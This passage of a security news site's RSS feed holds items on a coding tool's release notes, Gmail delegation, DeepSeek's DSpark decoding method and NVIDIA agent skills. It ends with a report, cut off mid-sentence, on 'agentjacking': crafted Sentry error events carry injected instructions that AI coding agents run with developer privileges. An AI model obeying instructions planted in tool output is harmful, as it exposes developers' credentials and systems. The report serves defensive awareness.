<li>feat(app): sticky session list header (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758269157" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34220" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34220/hovercard" href="https://github.com/anomalyco/opencode/pull/34220">#34220</a>)</li>
<li>feat(app): show loader on session hover (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758349260" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34224" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34224/hovercard" href="https://github.com/anomalyco/opencode/pull/34224">#34224</a>)</li>
<li>feat(app): new timeline header (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4757470950" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34192" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34192/hovercard" href="https://github.com/anomalyco/opencode/pull/34192">#34192</a>)</li>
<li>feat(app): improve projects sidebar reactivity (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4765257225" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34391" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34391/hovercard" href="https://github.com/anomalyco/opencode/pull/34391">#34391</a>)</li>
<li>feat(app): update message part ui to v2 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4765514038" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34394" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34394/hovercard" href="https://github.com/anomalyco/opencode/pull/34394">#34394</a>)</li>
<li>feat(app): align slash popover to v2 tokens (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761506517" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34286" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34286/hovercard" href="https://github.com/anomalyco/opencode/pull/34286">#34286</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ariane-emory/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ariane-emory">@ariane-emory</a>:
<ul>
<li>docs(providers): document blacklist and whitelist model filtering (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4740778887" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/33792" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/33792/hovercard" href="https://github.com/anomalyco/opencode/pull/33792">#33792</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Slickstef11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Slickstef11">@Slickstef11</a>:
<ul>
<li>docs: route enterprise contact links (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752982706" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34080" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34080/hovercard" href="https://github.com/anomalyco/opencode/pull/34080">#34080</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/affanali2k3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/affanali2k3">@affanali2k3</a>:
<ul>
<li>fix(app): slow tooltip display for models (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4589078733" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30745" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30745/hovercard" href="https://github.com/anomalyco/opencode/pull/30745">#30745</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OpeOginni/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OpeOginni">@OpeOginni</a>:
<ul>
<li>fix(desktop): recognize normal auth metadata input prompts in connect provider dialog (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4702996272" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/33024" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/33024/hovercard" href="https://github.com/anomalyco/opencode/pull/33024">#33024</a>)</li>
<li>feat(desktop): Display stored totals for Tokens and Cost in Desktop Session Context (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504475123" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/28887" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/28887/hovercard" href="https://github.com/anomalyco/opencode/pull/28887">#28887</a>)</li>
<li>feat(tui): integrate ServerAuth headers into transport configuration for external served TUI thread (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4547805716" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/29876" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/29876/hovercard" href="https://github.com/anomalyco/opencode/pull/29876">#29876</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BenGu3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BenGu3">@BenGu3</a>:
<ul>
<li>fix(tui): register <code>prompt.skills</code> keybinds (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4757126561" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34180" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34180/hovercard" href="https://github.com/anomalyco/opencode/pull/34180">#34180</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neriousy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neriousy">@neriousy</a>:
<ul>
<li>fix(app): disable <code>add project</code> when given server is offline (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761956802" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34294" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34294/hovercard" href="https://github.com/anomalyco/opencode/pull/34294">#34294</a>)</li>
<li>fix(app): disable empty server chevron (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761927874" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34292" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34292/hovercard" href="https://github.com/anomalyco/opencode/pull/34292">#34292</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MaxAnderson95/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MaxAnderson95">@MaxAnderson95</a>:
<ul>
<li>fix(mcp): reconnect after OAuth even when server is disabled</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/StarpTech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/StarpTech">@StarpTech</a>:
<ul>
<li>fix(console): cancel upstream provider requests (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4770238040" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34467" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34467/hovercard" href="https://github.com/anomalyco/opencode/pull/34467">#34467</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/runvip/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/runvip">@runvip</a>:
<ul>
<li>fix(docs): fix Russian translation for index.mdx (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4748902405" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34001" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34001/hovercard" href="https://github.com/anomalyco/opencode/pull/34001">#34001</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Work with delegated Gmail accounts from mobile devices]]></title>
<description><![CDATA[Previously, users could only work with delegated Gmail accounts through the web interface. We are updating the Gmail app for iOS and Android to allow delegates to read, manage, and compose emails on behalf of a delegator directly from their mobile devices.This update removes a significant barrier...]]></description>
<link>https://tsecurity.de/de/3636629/web-tipps/work-with-delegated-gmail-accounts-from-mobile-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636629/web-tipps/work-with-delegated-gmail-accounts-from-mobile-devices/</guid>
<pubDate>Tue, 30 Jun 2026 20:53:08 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Previously, users could only work with delegated Gmail accounts through the web interface. We are updating the Gmail app for iOS and Android to allow delegates to read, manage, and compose emails on behalf of a delegator directly from their mobile devices.<div><br></div><div>This update removes a significant barrier for employees who rely on mobile devices for their daily productivity. For example, an administrative assistant can seamlessly handle urgent communications for an executive while away from the office, without needing to find a desktop computer.</div><div><br></div><div>When using the Gmail mobile app, delegates can now:</div><div><br></div><div><ul><li>Switch between their own inbox and delegated accounts.</li><li>View unread message counts for delegated inboxes from the account menu.</li><li>See emails intermingled across delegated accounts and their own account using the mobile “All inboxes” view.</li><li>Send messages that allow recipients to view the specific "sent by" information in the mobile experience. </li></ul></div><div>Administrators retain full control over delegation settings, including the ability to restrict delegation to specific organizational units. The mobile experience adheres to existing delegation policies and limits, such as supporting up to 1,000 unique delegates per account and 40 concurrent users. Delegators do not need to perform any additional setup to enable mobile access for their existing delegates.</div><h3>Getting started</h3><div><ul><li><b>Admins: </b>There is no admin control for this specific mobile feature; it follows <a href="https://knowledge.workspace.google.com/admin/users/delegate-a-users-email-address" target="_blank">existing delegation settings</a> that you’ve configured for the web experience.</li><li><b>End users: </b>To access a delegated account, ensure you have first been granted access via the Gmail web settings. Once granted, tap your profile picture in the Gmail app on Android or iOS and select the delegated account from the list. Visit the Help Center to <a href="https://support.google.com/mail/answer/138350" target="_blank">learn more about delegating and collaborating on email</a>.</li></ul></div><h3>Rollout pace</h3><div><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Rolling out now with expected completion by July 8, 2026 (Android), and July 29, 2026 (iOS)</li></ul></div><h3>Availability</h3><div><ul><li>Available in early July to all Google Workspace customers, Workspace Individual subscribers, and users with personal Google accounts</li></ul></div><h3>Resources</h3><div><ul><li>Google Workspace Admin Help: <a href="https://knowledge.workspace.google.com/admin/gmail/let-users-delegate-access-to-a-gmail-account" target="_blank">Let users delegate access to a Gmail account</a></li><li>Google Help: <a href="https://support.google.com/mail/answer/138350" target="_blank">Delegate and collaborate on email</a></li></ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[DeepSeek open sources DSpark, a new framework to speed up LLM inference by up to 85%]]></title>
<description><![CDATA[Even as the geopolitical conversation around AI continues to grow more fraught following the U.S. government's actions to limit the new models from Anthropic and OpenAI, Chinese open source darling DeepSeek is back with yet another open release that could once again change AI development around t...]]></description>
<link>https://tsecurity.de/de/3634171/it-nachrichten/deepseek-open-sources-dspark-a-new-framework-to-speed-up-llm-inference-by-up-to-85/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634171/it-nachrichten/deepseek-open-sources-dspark-a-new-framework-to-speed-up-llm-inference-by-up-to-85/</guid>
<pubDate>Tue, 30 Jun 2026 00:17:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Even as the geopolitical conversation around AI continues to grow more fraught following the<a href="https://venturebeat.com/technology/anthropic-blocks-all-public-access-to-claude-fable-5-mythos-5-following-us-government-order-what-enterprises-should-do"> U.S. government's actions to limit the new models from Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, Chinese open source darling DeepSeek is back with yet another open release that could once again change AI development around the globe. </p><p>Over the weekend, the firm released <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro-DSpark">DSpark</a>, a new, MIT-Licensed system designed to make large language models answer faster without changing what the underlying model is trying to say. </p><p>The easiest way to think about it is this: most AI chatbots write like someone crossing a river one stepping stone at a time. They choose one small chunk of text, then the next, then the next. </p><p>DSpark gives the system a scout that runs a few steps ahead, guesses the likely path, and lets the larger model quickly check which steps are safe. When the guesses are good, the model moves faster. When the guesses are weak, DSpark tries not to waste time checking them.</p><p>DeepSeek published the work with a <a href="https://github.com/deepseek-ai/DeepSpec/blob/main/DSpark_paper.pdf">technical paper</a>, model checkpoints and <a href="https://github.com/deepseek-ai/DeepSpec">DeepSpec</a>, a codebase for training and evaluating speculative decoding systems. The release is available through DeepSeek’s public <a href="https://github.com/deepseek-ai">GitHub</a> and <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro-DSpark">Hugging Face </a>pages, both under the permissive, friendly, commonplace MIT license, making the new technique broadly usable by developers, researchers and commercial enterprise operations that want to study or adapt the approach.</p><p>The system is aimed at one of the most expensive problems in AI deployment: serving large models quickly enough for real users, while using hardware efficiently enough to make the economics work. That matters for consumer chatbots, coding assistants, agentic workflows and enterprise AI systems where users expect long answers to stream quickly rather than crawl out word by word.</p><p>DeepSeek is applying DSpark to its own latest frontier open model,<a href="https://venturebeat.com/technology/deepseek-v4-arrives-with-near-state-of-the-art-intelligence-at-1-6th-the-cost-of-opus-4-7-gpt-5-5"> DeepSeek-V4</a>. </p><p>Specifically, DeepSeek used its new DSpark framework on DeepSeek-V4-Flash, its already speed-optimized 284-billion-parameter mixture-of-experts model with 13 billion active parameters, and DeepSeek-V4-Pro, its more thoughtful and powerful 1.6-trillion-parameter model with 49 billion active parameters (Both support context windows up to one million tokens). </p><p>But the broader significance is that<i> DSpark is not conceptually limited to DeepSeek-V4.</i> DeepSeek’s own tests and released checkpoints cover other open model families, including Alibaba's open weights <i>Qwen</i> and Google's open weights <i>Gemma. </i></p><p>That means enterprise teams running open-weight models could, in principle, train or fine-tune DSpark-style draft modules for their own target models. It is not a switch that any API customer can flip from the outside, but it is a method that can travel to other models when the operator controls the weights and serving stack.</p><h2><b>Staggering speed increases for generating tokens during inference</b></h2><p>In DeepSeek’s live production tests, DSpark improved aggregate throughput by 51% for DeepSeek-V4-Flash at an 80-token-per-second-per-user service target, and by 52% for DeepSeek-V4-Pro at a 35-token-per-second-per-user target. At matched system capacity, DeepSeek reports per-user generation speedups of 60% to 85% for V4-Flash and 57% to 78% for V4-Pro over its prior MTP-1 production baseline.</p><p>The different speed claims measure different things. The 60% to 85% figure for V4-Flash, and the 57% to 78% figure for V4-Pro, describe how much faster individual users receive generated tokens when DeepSeek compares DSpark with MTP-1 at matched practical system capacity. </p><p>Those are the cleaner “generation speed” numbers. DeepSeek also reports much larger 661% and 406% increases, but these measure aggregate throughput under very strict speed targets: 120 tokens per second per user for V4-Flash and 50 tokens per second per user for V4-Pro. </p><p>At those targets, DeepSeek says its older MTP-1 baseline approaches an operational cliff, meaning it can keep only a small number of concurrent requests running while preserving that level of responsiveness. </p><p>DSpark avoids more of that collapse, so the percentage difference in total system output becomes much larger. Put simply: the 85% number is closer to “how much faster the ride feels for a user” under comparable conditions, while the 661% and 406% figures are closer to “how much more traffic the road can still carry” when the old system is already bottlenecking. </p><h2><b>Why speculative decoding matters</b></h2><p>LLMs usually generate text one token at a time. A token can be a word, part of a word, punctuation mark or other small piece of text. Every new token depends on the text already produced, so the model has to keep pausing, checking the full context and choosing the next piece.</p><p>That is accurate, but slow. It is like having a senior editor approve every word before a writer can move to the next one. The editor may be excellent, but the process creates a bottleneck.</p><p>Speculative decoding, developed in the early Transfomer era, tries to fix that bottleneck. Instead of asking the large model to produce every token one by one, the system uses a smaller or lighter draft component to suggest several likely next tokens. The large model then checks that batch of guesses in parallel. If the draft guessed correctly, the system moves ahead several tokens at once. If the draft made a bad guess, the system rejects the bad token and anything after it, adds a corrected token, and tries again.</p><p>The point is speed without changing the larger model’s intended output. In the standard speculative decoding setup, the draft model is not replacing the target model. It is acting more like an assistant who prepares a rough next sentence for the senior editor to approve or reject.</p><p>The idea did not appear out of nowhere with today’s large language models. A <a href="https://arxiv.org/abs/1811.03115">key precursor came in 2018</a>, when Mitchell Stern, Noam Shazeer and Jakob Uszkoreit proposed blockwise parallel decoding for deep autoregressive models. Their method predicted multiple future steps in parallel, then kept the longest prefix validated by the main model. That paper established much of the draft-and-check intuition behind later speculative decoding work.</p><p>The research line became more explicit in 2022. <a href="https://arxiv.org/abs/2203.16487">Heming Xia, Tao Ge and co-authors introduced SpecDec</a>, a draft-and-verify approach for sequence-to-sequence generation. Later that year, Yaniv Leviathan, Matan Kalman and Yossi Matias posted “<a href="https://arxiv.org/abs/2211.17192">Fast Inference from Transformers via Speculative Decoding</a>,” which helped define the modern version of the technique for transformer-based language models. DeepMind researchers followed in 2023 with a closely related method called <a href="https://arxiv.org/abs/2302.01318">speculative sampling.</a></p><p>Those 2022 and 2023 papers are the clearest ancestors of how speculative decoding is discussed in current LLM inference work: a faster draft process proposes tokens, and the larger target model verifies them in a way designed to preserve the target model’s output distribution. </p><p>Since then, the field has moved quickly through several variants, including separate draft models, multi-token prediction heads, tree-based verification, feature-level methods such as <a href="https://arxiv.org/abs/2401.15077">EAGLE</a>, self-speculation, Medusa-style extra heads and parallel/blockwise drafters such as DFlash.</p><p>The key metric is not how many tokens a draft model can guess. It is how many of those guesses the larger model actually accepts. Long speculative blocks help only if enough of the proposed tokens survive verification. Otherwise, the system spends compute checking guesses that it throws away.</p><p>That is the context for DSpark. Speculative decoding is already an established inference technique before DeepSeek’s release, with support in major serving stacks and multiple competing research approaches. But it is still not a solved problem. Speedups depend heavily on the draft model, the workload, the serving setup and the current traffic level. DSpark’s contribution is to improve both sides of the trade-off: it tries to draft more coherent token blocks and then verify only the parts of those blocks that are likely to pay off under real serving conditions.</p><h2><b>What DSpark changes</b></h2><p>DSpark tackles two related problems: bad guesses and wasted checking.</p><p>First, the system uses what DeepSeek calls semi-autoregressive generation. In plain English, that means DSpark tries to combine speed with a bit more awareness of sequence. </p><p>A fully parallel drafter can guess several tokens at once, which is fast, but its later guesses can become less coherent because each position is predicted too independently. A purely step-by-step drafter can keep better track of how one token leads to the next, but it loses much of the speed advantage.</p><p>DSpark tries to keep the best of both. It uses a parallel backbone for most of the drafting work, then adds a lightweight sequential head that lets the draft take nearby token relationships into account. In the paper’s example, a parallel drafter might confuse likely phrase endings such as “of course” and “no problem,” producing awkward combinations because it is guessing positions too separately. DSpark’s sequential component helps the system make the later tokens fit the earlier ones.</p><p>Second, DSpark adds confidence-scheduled verification. Rather than always asking the target model to check the same number of draft tokens, DSpark estimates which prefix of the draft is likely to survive. A hardware-aware scheduler then adjusts how much of each draft should be verified based on both model confidence and current serving load.</p><p>A simple analogy: when a restaurant is quiet, the head chef can inspect more of the prep cook’s work. When the kitchen is slammed, the chef spends attention only on the dishes most likely to be ready. DSpark applies a similar idea to AI serving. Under lighter traffic, the system can afford to check longer draft prefixes. Under heavier traffic, it trims low-confidence trailing guesses before they consume batch capacity that could be used for other users.</p><p>DeepSeek frames this as an answer to a common production trade-off. Static multi-token drafting can look attractive in isolation, but can hurt throughput under high concurrency because the system keeps checking tokens that are likely to be rejected. DSpark’s scheduler makes the verification budget flexible instead of fixed.</p><h2><b>Offline results: better draft acceptance across Qwen and Gemma</b></h2><p>DeepSeek tested DSpark offline on Qwen3-4B, Qwen3-8B, Qwen3-14B and Gemma4-12B target models across math, coding and chat benchmarks. </p><p>In those tests, the team compared DSpark with DFlash, a parallel drafter, and Eagle3, an autoregressive drafter. The paper reports accepted length per decoding round, a measure of how many tokens survive verification on average.</p><p>Across the three Qwen3 model sizes, DSpark improved macro-average accepted length over Eagle3 by 30.9%, 26.7% and 30.0%, respectively. Compared with DFlash, it improved accepted length by 16.3%, 18.4% and 18.3%. The paper also says the gains generalized to Gemma4-12B.</p><p>That supports a point raised by developer Daniel Han, who highlighted on X that DeepSeek showed DSpark working beyond DeepSeek’s own V4 models, including Gemma and Qwen. I would include Han as community reaction, not as the sole evidence for the claim. The stronger support comes from DeepSeek’s own benchmarks and released checkpoints.</p><p>The offline results also show why workload matters. Structured tasks such as math and code tend to have higher accepted lengths than open-ended chat. That makes intuitive sense: a code completion or math step often has fewer reasonable next moves than a free-form conversation. </p><p><b>For enterprises, </b>this means<b> DSpark-style methods may be especially attractive for coding assistants, data analysis agents, structured workflow automation</b> and other settings where outputs follow more predictable patterns.</p><h2><b>How enterprises could use DSpark without DeepSeek-V4</b></h2><p>One of the most important questions is whether DSpark is a DeepSeek-only optimization or a broader method that can be applied to other models. The answer is: broader method, but not automatic plug-in.</p><p>For open-weight models, the path is relatively clear. An enterprise running Qwen, Gemma, Llama, Mistral, Granite, Command-style open weights or another model it hosts itself could train or fine-tune a DSpark-style draft module against that target model. </p><p>The team would then measure acceptance on its own workloads and integrate the verification scheduler into its inference stack.</p><p>That is different from simply downloading DeepSeek’s DSpark module and attaching it to any model. Speculative decoding depends on alignment between the draft module and the target model. The draft has to learn what the target model is likely to accept. A drafter trained for DeepSeek-V4 will not automatically be the right drafter for a different model, especially one fine-tuned on a company’s internal data or configured for different reasoning behavior.</p><p>DeepSpec’s workflow reflects this. The process involves preparing data, regenerating target-model answers, building a target cache, training the draft model and evaluating speculative-decoding acceptance. For domain-specific use, the draft model may need additional fine-tuning, especially if the target model runs in a thinking or reasoning mode.</p><p>For proprietary models, the answer depends on what the enterprise controls. If a company owns or fully hosts the model weights and serving stack, it could theoretically train and deploy a DSpark-style drafter. If the model is available only through a hosted API from a vendor, the customer cannot directly add DSpark from the outside. The API provider could implement a similar optimization internally, but the customer generally cannot access the token verification loop, logits, batching behavior or serving scheduler needed to make DSpark work.</p><p>That distinction matters for enterprise buyers. DSpark strengthens the case for open or self-hosted AI infrastructure because it gives advanced teams another lever to improve speed and cost. But it also shows why model serving is becoming a specialized discipline. The value is not just in picking a model, but in how intelligently that model is run.</p><h2><b>What developers get from DeepSpec</b></h2><p>For developers, DeepSpec gives a concrete implementation path for training and evaluating speculative decoding draft models. It includes data preparation, training and benchmark evaluation steps, along with released checkpoints for several open model families. That makes the release useful not only for running DeepSeek-V4 with DSpark, but also for researchers and infrastructure teams studying how to add faster decoding to other open models.</p><p>There are real deployment caveats. DeepSpec’s own README says the default Qwen3-4B data preparation setup can require roughly 38 TB of target cache storage, and the default scripts assume a single node with eight GPUs. That makes the release more immediately relevant to AI labs, cloud teams and sophisticated enterprise AI infrastructure groups than to ordinary application developers.</p><p>Still, releasing the training pipeline matters. Many inference optimizations appear only as papers, vague benchmarks or closed production claims. DeepSpec gives developers something closer to a set of blueprints: not a finished enterprise product, but a way to reproduce, adapt and evaluate the method.</p><h2><b>Early community testing</b></h2><p>The release has already drawn fast developer attention. Developer <a href="https://github.com/rafaelcaricio/spark_vllm_docker/pull/1">Rafael Caricio published a GitHub pull request </a>documenting single-stream DeepSeek-V4-Flash DSpark work, reporting warmed benchmark anchors of 26.33 tokens per second without speculative decoding, 39.88 tokens per second with MTP-1, and roughly 60 tokens per second with DSpark — about 1.5x over MTP-1 and 2.3x over no-spec decoding.</p><p>A later commit in the same thread recorded a five-run mean of 60.31 tokens per second, with a 1.51x gain over MTP-1 and 2.29x over non-speculative decoding. </p><p>The same work also points to an important practical limit: in realistic multi-turn coding sessions, performance can degrade as draft acceptance falls with growing context. In other words, DSpark can make decoding faster, but acceptance quality still determines how much speed the system actually realizes.</p><p>That is a useful reality check. DSpark is not magic. It still depends on how predictable the next tokens are and how well the drafter stays aligned with the target model. But the early implementation work suggests DeepSeek’s claims are not purely academic. Developers are already testing the method in practical serving environments and reporting gains close to the paper’s single-stream expectations.</p><h2><b>The bottom line</b></h2><p>DSpark shows how much performance remains available in the inference layer, even when the underlying model architecture stays the same. As AI companies compete on model quality, context length and pricing, decoding efficiency is becoming another major battleground. </p><p>Faster generation means lower latency for users, higher throughput for providers and better economics for teams serving open models at scale.</p><p>DeepSeek’s release is notable because it combines a production-tested method, open code, public checkpoints and a detailed paper. The main innovation is not just drafting more tokens. It is making the system more selective about which speculative work is worth verifying.</p><p>For enterprise teams, the broader lesson is that the next wave of AI performance gains will not come only from larger models. It will also come from smarter ways to run the models companies already have — especially when those companies control enough of the stack to tune the model, train a compatible draft module and optimize the serving engine around real workloads.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[NVIDIA BioNeMo Agent Toolkit Turns Biomolecular Models Into Callable Skills for AI Agents in Drug Discovery]]></title>
<description><![CDATA[NVIDIA's open-source BioNeMo Agent Toolkit turns biomolecular models like OpenFold3, DiffDock, and GenMol into documented, callable skills for AI agents. Each skill describes a model's purpose, inputs, artifacts, and failure modes, so an agent can select, run, and interpret it. In NVIDIA's benchm...]]></description>
<link>https://tsecurity.de/de/3633875/ai-nachrichten/nvidia-bionemo-agent-toolkit-turns-biomolecular-models-into-callable-skills-for-ai-agents-in-drug-discovery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633875/ai-nachrichten/nvidia-bionemo-agent-toolkit-turns-biomolecular-models-into-callable-skills-for-ai-agents-in-drug-discovery/</guid>
<pubDate>Mon, 29 Jun 2026 21:18:23 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>NVIDIA's open-source BioNeMo Agent Toolkit turns biomolecular models like OpenFold3, DiffDock, and GenMol into documented, callable skills for AI agents. Each skill describes a model's purpose, inputs, artifacts, and failure modes, so an agent can select, run, and interpret it. In NVIDIA's benchmarks with Codex CLI and GPT-5.5 fast, skills raised task completion from 57.1% to 100% and doubled token efficiency.</p>
<p>The post <a href="https://www.marktechpost.com/2026/06/29/nvidia-bionemo-agent-toolkit-turns-biomolecular-models-into-callable-skills-for-ai-agents-in-drug-discovery/">NVIDIA BioNeMo Agent Toolkit Turns Biomolecular Models Into Callable Skills for AI Agents in Drug Discovery</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The attack that hijacked Claude Code came through Sentry. Datadog, PagerDuty, and Jira have the same exposure.]]></title>
<description><![CDATA[A single fake error report hijacked Claude Code in controlled testing — the agent ran the attacker's code with the developer's full privileges, and not one alert fired. EDR, WAF, IAM, and the firewall all missed it completely.Tenet Security's June agentjacking disclosure describes a single crafte...]]></description>
<link>https://tsecurity.de/de/3633679/it-nachrichten/the-attack-that-hijacked-claude-code-came-through-sentry-datadog-pagerduty-and-jira-have-the-same-exposure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633679/it-nachrichten/the-attack-that-hijacked-claude-code-came-through-sentry-datadog-pagerduty-and-jira-have-the-same-exposure/</guid>
<pubDate>Mon, 29 Jun 2026 19:31:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A single fake error report hijacked Claude Code in controlled testing — the agent ran the attacker's code with the developer's full privileges, and not one alert fired. EDR, WAF, IAM, and the firewall all missed it completely.</p><p>Tenet Security's <a href="https://tenetsecurity.ai/blog/agentjacking-coding-agents-with-fake-sentry-errors/">June agentjacking disclosure</a> describes a single crafted Sentry error event — sent through a public credential that requires no breach and no authentication — that injected attacker instructions into error data that Claude Code, Cursor, and Codex then executed as trusted diagnostic output. Tenet tested 100-plus targets in controlled conditions and achieved an 85% success rate. Sentry called the flaw "technically not defensible."</p><p>he Cloud Security Alliance classified agentjacking as a <a href="https://labs.cloudsecurityalliance.org/research/csa-research-note-agentjacking-mcp-sentry-injection-20260612/">systemic MCP vulnerability class</a> within days of the disclosure. No credentials were stolen, no policy was violated, no perimeter was breached: every step in the chain was authorized. That is the problem.</p><p>Tenet identified <a href="https://thehackernews.com/2026/06/agentjacking-attack-tricks-ai-coding.html">2,388 organizations with publicly exposed Sentry credentials</a> that could be used to inject malicious events at scale. The research is proof-of-concept, not confirmed exploitation across all 2,388. But one captured Claude Code environment held a live AWS secret access key and private repository URLs.</p><p>Here is the scope test: If your AI coding agents are connected to Sentry, Datadog, PagerDuty, Jira, or any MCP-connected data source your developers trust — and those agents can execute shell commands — then your stack has the same blind spot.</p><p>Organizations running Sentry should audit all publicly exposed DSNs immediately. Sentry's architecture intentionally makes DSN credentials public for frontend error reporting, so the mitigation isn't revoking the DSN — it's restricting what agents can do with the data those DSNs return.</p><h2>Why your stack can't see it</h2><p>Agentjacking works because every step is authorized: The attacker sends a valid Sentry API call using a public DSN, the MCP server returns the injected event as authentic output, and the agent executes the instruction using the developer's privileges. No signature fired. The victim saw only benign diagnostics while the agent silently <a href="https://www.infosecurity-magazine.com/news/agentjacking-attacks-hijack-ai/">exposed cloud credentials and source-control tokens</a>.</p><p>SOC teams have never needed to distinguish between a developer running an npm install and an agent running that command in response to a malicious error event. That distinction <a href="https://thenewstack.io/agentjacking-sentry-mcp-attack/">did not exist until AI coding agents became production tools</a>. The stack that cannot make it is the stack agentjacking bypasses.</p><h2>Five surveys, one pattern</h2><p>Five independent surveys from the first half of 2026 found that enterprises trust their AI agents far more than their enforcement justifies.</p><p>Only <a href="https://www.okta.com/newsroom/articles/ai-agents-at-work-2026-agentic-enterprise-security/">34% of organizations apply the same security controls</a> to AI agents as to humans, according to an Okta/Apprize360 survey of 292 executives and 492 knowledge workers. Fifty-two percent of employees use unapproved AI tools, 